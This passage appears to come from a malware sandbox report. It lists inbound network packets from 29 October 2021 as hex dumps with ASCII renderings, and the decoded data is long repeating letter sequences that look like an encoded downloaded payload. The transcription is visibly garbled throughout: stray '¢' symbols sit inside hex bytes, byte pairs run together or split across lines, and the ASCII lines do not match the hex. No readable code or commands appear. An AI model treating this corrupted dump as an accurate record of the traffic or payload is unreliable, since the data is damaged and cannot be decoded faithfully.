43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43
20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 4e 56 49 20 43 20 43 20 43 20
4e 72 20 4c 4e 20 4e 49 63 20 4e 72 20 43 20 4e 49 43 20 57 20 56 43 59 20 4c¢ 4c 20 4e 49 72 20 4e 20 4d 63 20 56 43
59 20 4c 4c¢ 20 49 72 20 4e 43 72 20 4e 43 59 20 4e 4e 59 20 4c 56 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 43 4¢ 20
4e 4e 72 20 57 4d 20 4e 43 57 20 4c 56 20 57 57 20 57 4d 20 4e 4e 43 20 4e

Data Ascii: CNVLI'YcMIW-MMWC NrCLCCCrCCCVYYVYYCCNIrcccccccCcerCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCNVICCCNrLNNIcNrCNICW VCY LL NIr N Mc VCY LL Ir NCr
NCY NNY LV NNV NNr NNN NCL NNr WM NCW LV WW WM NNC N
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Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1256 IN Data Raw: 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43
20 4320 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 56 59 20 72 43 20
56 56 57 20 4e 43 57 20 4e 4e 59 20 59 43 20 72 49 20 59 43 20 59 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 72 63 20
4e 72 4¢ 20 59 43 20 72 49 20 4e 4c 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20
4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59
722049 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72
20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20
DataAsci: CCCCCCCCCCCCCCCCCCCCCCCcCCCCCCCCCCCCVYICVVWNCWNNYYCrlYC
YC Ir NNr NNM Nrc NrL YC rl NLI'Yr Ir NNr NNM NCW NNV YC NNV YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr
NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr

2021-10-29 18:29:53 UTC 1258 IN Data Raw: 20 59 43 20 4e 59 63 20 4e 49 4c 20 59 59 20 49 72 20 4e 4e 72 20 49 59 20 4e 43 57 20 4e 4e 56 20 59 43
20 4e 49 72 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20
59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 20 59 72 20 49 72 20 4e 49
20 57 4e 20 4c 4e 20 4c 20 63 72 20 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4d 49 20 4e 4e 49 20 4e 43 57 20 4e 4e 56
2059 43 20 56 72 43 20 59 4e 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 57 43 20 72 57
20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49
72 20 4e 4e 72 20 59 4c 20 4e 43 57 20 4e 4e 56 20 4e 4e 72 20 4c 43 20 63
Data Ascii: YC NYc NIL YY Ir NNr IY NCW NNV YC NIr YN Yr Ir NNI NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW
NNV YC rl NI'Yr Ir NIWN LN L cr IL YC Yr Ir NMI NNI NCW NNV YC VrC YN Yr Ir NNI NNM NCW NNV NWC rW YC Yr
Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr YL NCW NNV NNr LC ¢

2021-10-29 18:29:53 UTC 1259 IN Data Raw: 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20
59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43
57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43
20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59
72 2049 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72
20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20
Data Ascii: YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl
YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr
NNM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV YC rl YC Yr

2021-10-29 18:29:53 UTC 1260 IN Data Raw: 20 4c 4d 20 72 4d 20 56 4e 4d 20 72 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4c 20 4c 49 20 63 72 20 59
59 20 49 72 20 4e 4e 72 20 59 20 4c 4e 20 72 4e 20 59 43 20 72 49 20 63 63 20 4d 56 20 4d 72 20 4e 4e 72 20 4e 4e 4d
20 4e 43 4¢ 20 49 49 20 72 59 20 72 49 20 59 43 20 63 43 20 56 72 63 20 49 4d 20 57 49 20 4c 4e 20 4e 20 59 43 20 72
49 20 63 63 20 63 49 20 56 59 4e 20 4e 4e 72 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e
56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 56 20 63 49 20 4e 72 4d 20 4e 4e 72
20 4e 4e 4d 20 56 57 20 56 20 59 4c 20 72 57 20 59 43 20 4d 43 20 72 56 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 56
56 20 56 63 20 72 4d 20 59 43 20 59 72 20 57 72 20 56 43 49 20 57 4c 20
Data Ascii: LM rM VNM rV NNM NCW NNL VL LI cr YY Ir NNr Y LN rN YC rl cc MV Mr NNr NNM NCL Il rY rl YC cC Vrc
IMWI LN N YC rl cc ¢l VYN NNr NNM VW Nr rr rl YC ¢cC NVr NCW NNM NCW NVV Nrr VN rV cl NrM NNr NNM VW V YL
r'W YC MC rV NCI NNM NCW NVV Ve rM YC Yr Wr VCI WL

2021-10-29 18:29:53 UTC 1262 IN Data Raw: 20 4e 4e 4c 20 63 57 20 4e 4e 72 20 59 43 20 72 49 20 56 59 20 49 57 20 4e 4e 56 20 4e 4e 59 20 4e 4e 4d
20 4e 43 4d 20 57 4d 20 59 59 20 4c 4c 20 59 72 20 56 43 43 20 49 56 20 4e 63 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 49
20 63 59 20 4c¢ 43 20 59 43 20 59 72 20 57 72 20 4e 56 20 4e 4c 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 4e 20 4c 4e 2
0 4c 4c 20 4e 4e 72 20 4e 56 20 4e 72 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 43 63 20 59 56 20 56 4c 59 20 49 59 20
4e 4e 72 20 4e 4e 59 20 4c 43 20 57 59 20 59 43 20 72 49 20 59 63 20 4e 57 20 56 4e 56 20 4e 72 43 20 4e 4e 4d 20 4e
43 57 20 4e 4e 63 20 56 63 20 59 4e 20 59 43 20 59 72 20 4e 56 4d 20 56 57 20 57 59 20 4e 43 49 20 4e 4e 56 20 59 56
20 4c 4c¢ 20 59 59 20 4c 57 20 49 43 20 4e 72 43 20 4e 4e 59 20 4e 49 63
Data Ascii: NNL cW NNr YC rl VY IW NNV NNY NNM NCM WM YY LL Yr VCC IV Ncr NNc NCW NNI cY LC YC Yr Wr
NV NLW NCW NNV Yr VN LN LL NNr NV NrV NCW NNV Yr VCc YV VLY 1Y NNr NNY LC WY YC rl Yc NW VNV NrC N
NM NCW NNc Ve YN YC Yr NVM VW WY NCI NNV YV LL YY LW IC NrC NNY Nic

2021-10-29 18:29:53 UTC 1263 IN Data Raw: 20 59 43 20 59 72 20 57 72 20 57 43 20 4d 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 57 20 59 4c 20 4c 43 20
4e 4e 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢c 20 57 4c 20 59 4¢ 20 59 72 20 63 4c 20 56 4c 59 20 4e 56 4d 20 4e 4e 59
20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 59 63 20 59 43 20 59 72 20 49 56 20 4e 56 63 20 4e 4e 72 20 4c 43 20
56 4e 57 20 59 43 20 72 49 20 59 56 20 4c 4d 20 49 43 20 57 57 20 4e 4e 4c 20 4e 4e 4c 20 56 59 4c 204 43722072 4
9 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 56 56 56 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20
49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59
20 4d 59 20 4e 43 56 20 4c 4c 20 59 4c 20 4e 43 20 56 4c¢ 72 20 49 72 20
Data Ascii: YC Yr Wr WC Mc NCW NNV Yc YW YL LC NNC NNr NNM NCL WL YL Yr cL VLY NVM NNY NNM NCW NNr
Ve Yc YC Yr IV NVe NNr LC VNW YC rl YV LM IC WW NNL NNL VYL NCr rl YC YY NNL NcV VVV NCW NNV Yr VrY Yr
IrNVC ¢ IY NNV YC YI WL NLY Ir NNr NNY MY NCV LL YL NC VLr Ir

2021-10-29 18:29:53 UTC 1264 IN Data Raw: 20 49 72 20 4e 4e 72 20 4c 49 20 4e 43 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 59 72 20 49 72 20 4e
4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 4d 57 20 63 63 20 4e 4e 59 20 4e 43
57 2059 56 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 43 43 20 4c¢ 43 20 4d 57 20 59 43 20 72 49
20 59 63 20 63 43 20 49 63 20 4e 4e 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 7
243 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4¢ 57 20 4d 72 20 4e 4e 4d 20
4e 43 57 20 4e 56 56 20 56 63 20 57 20 59 43 20 59 72 20 57 72 20 4e 56 4e 20 4e 4e 72 20 63 57 20 4d 72 20 59 43 20
72 49 20 59 63 20 56 4d 20 49 4c 20 4e 4e 63 20 4e 56 43 20 4e 4d 63 20
Data Ascii: Ir NNr LI NCI NNV YC NCY YN Yr Ir NNL NNM NCW NNV cN rl YC YY MW cc NNY NCW YV rl rl YC YL Ir
NNrNCC LC MW YC rl Yc ¢C Ic NNN Vrl YY NNV YC rW VL VLC NrC NNr NNM NCY 11'Y rl YC ¢C LW Mr NNM NCW
NVV Ve W YC Yr Wr NVN NNr cW Mr YC rl Yc VM IL NNc NVC NMc

2021-10-29 18:29:53 UTC 1266 IN Data Raw: 43 49 20 49 59 20 56 56 63 20 56 4e 72 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e
56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57
4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 4d 56 20 59 4e 20 72 49 20 59 56 20 4c¢ 57 20 49 4c 20 57 57 20 4
e 4e 4c 20 4e 56 72 20 4e 4e 4d 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20
4e 63 43 20 4e 59 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20
49 20 59 43 20 59 72 20 57 72 20 56 57 20 56 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 63 20 56 63 20 72 49 20 49
72 20 4e 4e 72 20 4e 4e 59 20 56 20 4d 72 20 59 4e 20 72 49 20 59 56 20
Data Ascii: CI 1Y VVc VNr YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Ve NWL NNV YC Yr WL NL Ir NNr NVM V MV
YN rl YV LW IL WW NNL NVr NNM rY cL NWN NCI Ir NNr NNc MV NcC NYY rl YC YC NVr cW NNM NCW NVV cY | YC
Yr Wr VW VNM NCW NNV YV Yc Ve rl Ir NNr NNY V Mr YN rl YV
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1267 IN Data Raw: 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 4c 56 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63
20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20
59 4320 59 72 20 57 4c 20 4e 4c¢ 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 57 20 4c 59 20 59 59 20 72 4c
20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 59 57 20 59 43 20 59 72 20 49 43
20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 72 59
20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 72 4e 20 63 57 20 4e 4e 4d 20 4e 43 49 20 56 56 72 20 72 56 20 59 43 20 72
49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 72 72 20 4e 4e 4d 20 4e 43 57 20
Data Ascii: Nr NNM NCI 1Y VVe NLV YC Yr IC WC cc NCW NNV Yc ¢cM NC Yr Ir NVC Ve NWL NNV YC Yr WL NL Ir NNr
NVM NVe NNW LY YY rL NIM Nr NNr NNM NCI 1Y VVe NYW YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Ve rY NNV
YC YILN rN cW NNM NCI VVr rV YC rl YN NW NLV Nrr NNM NCW

2021-10-29 18:29:53 UTC 1268 IN Data Raw: 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 43 20 4c 4¢ 20 59 72 20 4c 59 20 59 43 20 63 57 20 4e 4e 57 20 4e 43 63
20 4e 56 43 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 59 4d 20 4e 43 57 20 4e
4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20
4e 59 72 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4e 20 49 49 20 59 56 20 72 49 20 59 43 20 72 49 20 4c 49 20 4e 20
4e 4e 57 20 4e 43 57 20 43 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 56 57 20 4e 43 63 20 4e 43 57 20 4e 4e 56
20 59 63 20 4c 59 20 59 4c 20 63 57 20 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 57 20 59 49 20 4c 4c 20 59 49
20 4¢ 57 20 49 43 20 57 57 20 4e 4e 56 20 4e 4e 72 20 4e 56 72 20 4e 57
Data Ascii: Y NNM NCW NCC LL Yr LY YC cW NNW NCc NVC VYL NCr rl YC YY NNL NcV NYM NCW NNV Yr Vr Y Yr Ir
NVC c IY NNV YC YI' WL NYr Ir NNr NNY NCN 11 YV rl YC rl LI N NNW NCW C Mc rc YC Yr Wr VW NCc NCW NNV Yc
LY YL cW Nc NNY NNM NCM WW YI LL YI LW IC WW NNV NNr NVr NW

2021-10-29 18:29:53 UTC 1270 IN Data Raw: 56 4d 20 4e 4e 72 20 63 20 4e 20 72 56 20 72 49 20 4c 4c 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56
56 20 72 59 20 4e 20 4e 20 59 4d 20 49 4d 20 57 43 20 63 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 43 20 56 63 20 72
43 2049 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4c 20 57 4e 20 63 43 20 59 43 20 4c¢ 63 20 4¢ 72 20 4e 56 72 20 49 72 20
4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 57 4c 20 4e 4e 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 4e 4d 4e 20 4e 4e 43 20
49 63 20 56 4c 63 20 72 49 20 59 56 20 56 49 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 72
20 59 43 20 4c 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 49 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 4c 4c¢ 20 63 20 49 63 20
4e 4e 72 20 49 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 59 20 59 43 20
Data Ascii: VM NNr ¢ N rV rl LL YW IY NNM NCW NVV rY N N YM IM WC cV NCW NNV Yc YC Vc rC Ir NNr NNY NCL
WN cC YC Lc Lr NVr Ir NNM NCW NNI'WL NN YC Yr Wr NVC NMN NNC Ic VLc rl YV VI IY WI NNM NCW NNV YC Yr
YC L NNN NNr NNI'WINNV YC rW LL ¢ lc NNr IV NCW NNV YC YY YC

2021-10-29 18:29:53 UTC 1271 IN Data Raw: 56 20 59 43 20 56 4d 20 57 4c 20 56 72 49 20 49 59 20 4e 4e 72 20 4e 4e 59 20 56 20 4e 63 4e 20 59 4e 20 72
49 20 59 56 20 63 43 20 4e 4c 49 20 4e 4e 4c 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 56 4c 63 20 59 4e 20 56 43 20 56 4c
56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 4c 20 63 20 59 72 20 49 72 20 4e 4e 72 20
4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4d 20 72 57 20 59 43 20 59 72 20 4d 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20
49 4c¢ 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20
59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 4e 20 59 72 20 49 72
20 57 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72 49 20 59 43
Data Ascii: V' YC VM WL Vrl IY NNr NNY V NcN YN rl YV ¢cC NLI NNL IL NMW NNV VLc YN VC VLV Ir NNc WY NCW
NNV YC NNL ¢ Yr Ir NNr NNM NCW NNV YM rW YC Yr Mc NNr NNM NCW IL YN rl YC YL Ir NNr NNM WI NNV YC rW
YC YrIr NNr NVN NCW NNV YC rr YN Yr Ir WC NNc NCW NNV rW rl YC

2021-10-29 18:29:53 UTC 1272 IN Data Raw: 4e 72 20 57 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 56 72
57 2056 59 59 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56
20 4e 4e 72 20 72 57 20 59 43 20 59 72 20 57 59 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 56 4e 20 72 57 20 59
43 20 72 49 20 57 72 20 4e 4e 56 20 56 63 20 59 56 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 43 57 20 49 72 20 4e
4e 72 20 4e 56 4d 20 4e 43 56 20 4d 56 20 4e 72 59 20 72 49 20 59 43 20 59 72 20 49 4c 20 56 57 20 4e 56 56 20 4e 43
57 20 4e 4e 56 20 59 63 20 63 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 56 4e 20 4e 43 4e 20 4c 4e 20 4e 4e 43
20 72 49 20 59 43 20 63 43 20 4c 49 20 56 72 4d 20 4e 4e 57 20 4e 43 57 20
Data Ascii: Nr WM NCW NNV YC rl YC Yr IV NNr VIW VYY NNV rW Y1 YC Yr IY NCY cW NCY NNV NNr rW YC Yr WY
NNr NNM NVr L NVN rW YC rl Wr NNV Ve YV NNV YC YI WL NCW Ir NNr NVM NCV MV NrY rl YC Yr IL VW NVV NCW
NNV Yc ¢l LM YrIr NNY NVN NCN LN NNC rl YC cC LI VriM NNW NCW

2021-10-29 18:29:53 UTC 1274 IN Data Raw: 4e 4e 56 20 4c 59 20 63 4d 20 72 4c 20 59 72 20 49 72 20 4e 56 43 20 4e 56 4d 20 4e 4e 4e 20 4e 72 20 72 49
207257 20 59 43 20 59 43 20 4e 4e 4c 20 57 59 20 57 49 20 4d 59 20 4e 72 20 59 4e 20 72 57 20 59 43 20 59 43 20 4e
4d 43 20 4e 4e 63 20 4e 59 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 63 4d 20 72 43 20 59 72 20 49 72 20 4e 56 43 20 49
43 20 56 4c 4d 20 4e 4e 72 20 59 4e 20 72 49 20 59 72 20 4c 43 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4c 4e 20
7263207249 2059 43 20 63 43 20 57 59 20 4d 72 20 63 72 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 59 20 57 4c 20 72
4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 57 4d 20 4e 56 43 20 72 56 20 4c 57 20 4c 4d 20 4e 49 4d 20 4e 56 20 4e 4e 72
20 4e 4e 4d 20 4e 43 49 20 49 59 20 4c 63 20 72 4d 20 72 56 20 4e 49 4d
Data Ascii: NNV LY cM rL Yr Ir NVC NVM NNN Nr rl rw YC YC NNL WY WI MY Nr YN rW YC YC NMC NNc NYN NCI
NNV YV ¢cM rC Yr Ir NVC IC VLM NNr YN rl Yr LC IY NNr NNM MC LN rc rl YC cC WY Mr cr NCINNV YC YY WL rL Ir N
Nr NVM WM NVC rV LW LM NIM NV NNr NNM NCI Y Lc rM rV NIM

2021-10-29 18:29:53 UTC 1275 IN Data Raw: 4e 4c 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 72 43 20 59 4e 20 72 49 20 59 43 20 59 63 20 49 72 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4d 56 20 4e 43 57
20 4e 4e 56 20 59 43 20 56 4d 20 59 4e 20 59 72 20 49 72 20 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72
49 20 59 43 20 59 72 20 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4d 20 49
72 20 4e 4e 72 20 4e 4e 4d 20 72 56 20 4e 4e 4c 20 59 43 20 72 49 20 4d 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d
20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
20 59 56 20 72 49 20 59 43 20 59 72 20 72 56 20 4e 4e 59 20 4e 4e 4d 20
Data Ascii: NLI NNr NNM NCW rC YN rl YC Yc Ir NNr NNM NCW NNV YC rl YC Yr Ir NNr MV NCW NNV YC VM YN Yr
Ir Ve NNc NCW NNV rW rl YC Yr Wr NNr NNM NCI NNr YC rl YC M Ir NNr NNM rV NNL YC rl Mr YY Ir NNr NVM NCW N
NV YC rl YC Yr Ir NNr NNM NCW NNV YV rl YC Yr rV NNY NNM

2021-10-29 18:29:53 UTC 1276 IN Data Raw: 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63
20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59
4320 72 49 20 59 63 20 49 57 20 57 49 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 56 20 59 63 20 4c 59 20 59
43 20 4d 49 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 43 49 20 49 72 20 4e 4e
72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c
20 4c 4e 20 4e 59 49 20 72 49 20 59 43 20 72 49 20 59 57 20 4d 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 49
20 59 4e 20 59 72 20 49 56 20 57 57 20 4e 4e 59 20 4e 43 4e 20 57 4d 20 59
Data Ascii: WC cc NCW NNV Yc cM NC Yr Ir NVC Ve NWL NNV YC Yr WL NL Ir NNr NVM cW rW YC rl Yc IW WI NNY
NNM NCM WM YV Yc LY YC MI VYY rM NCW NNV YN VN VVc VCI Ir NNr NNL cW MN YC rl Yc cW NCI NNr NNM NCL
LN NYIrl YC rl YW ML NNM NCW NVV WL | YN Yr IV WW NNY NCN WM Y
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Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1278 IN Data Raw: 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4e 72 20 4e 4e 56 20 59 43 20 59 49 20 4c 72 20 59 72 20 49 63 20
4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4d 59 20 72 63 20 56 4c 56 20 4e 56
56 20 4c 4e 20 49 59 20 72 49 20 59 43 20 63 43 20 57 59 20 4e 4e 4d 20 4e 43 57 20 56 72 4d 20 4e 4e 43 20 4e 57 4e
20 4e 43 63 20 59 43 20 59 72 20 49 59 20 49 4d 20 4e 63 59 20 56 72 4c 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e
2049 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 4c 43 20 57 20 4e 4e 72 20 4e 4e 4d
20 4e 43 4c¢ 20 57 56 20 59 56 20 59 59 20 4c 4d 20 4e 4d 56 20 57 72 20 49 57 20 4e 4e 4c 20 4e 43 63 20 4e 43 56 20
4e 63 49 20 59 49 20 56 4c 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e
Data Ascii: Yr Ir NVC Ve NNr NNV YC Y1 Lr Yrlc NCN Vrl YY NNV YC rW VL LV MY rc VLV NVV LN IY rl YC cC WY
NNM NCW VrM NNC NWN NCc YC Yr IY IM NcY VrL NNV YC YV Vc N Ir NNr NVM LC MV YC rl Yc LC W NNr NNM
NCL WV YV YY LM NMV Wr IW NNL NCc NCV Ncl YI VLc YL NNr NMV NN

2021-10-29 18:29:53 UTC 1279 IN Data Raw: 63 59 20 4e 63 56 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43
20 4d 56 20 59 43 20 72 49 20 59 63 20 63 49 20 72 57 20 4e 4e 4c 20 4e 4e 4d 20 56 57 20 4e 7220 72 72 20 72 49 20
59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 57 56 20 59 43 20 59 72 20 57
72 2056 57 20 72 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4d 20 4c¢ 57 20 57 72 20 57 43 20 4d 4c 20 4e 43
57 20 4e 4e 56 20 59 63 20 56 57 20 57 56 20 4c 57 20 57 59 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56
57 20 49 4d 20 4c 43 20 59 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4d 20 59 63 20 56 72 20 4e 56 4e 20 59 72 20
49 72 20 4e 56 43 20 56 63 20 4e 56 20 4e 4e 56 20 59 43 20 59 49 20 4c 4c
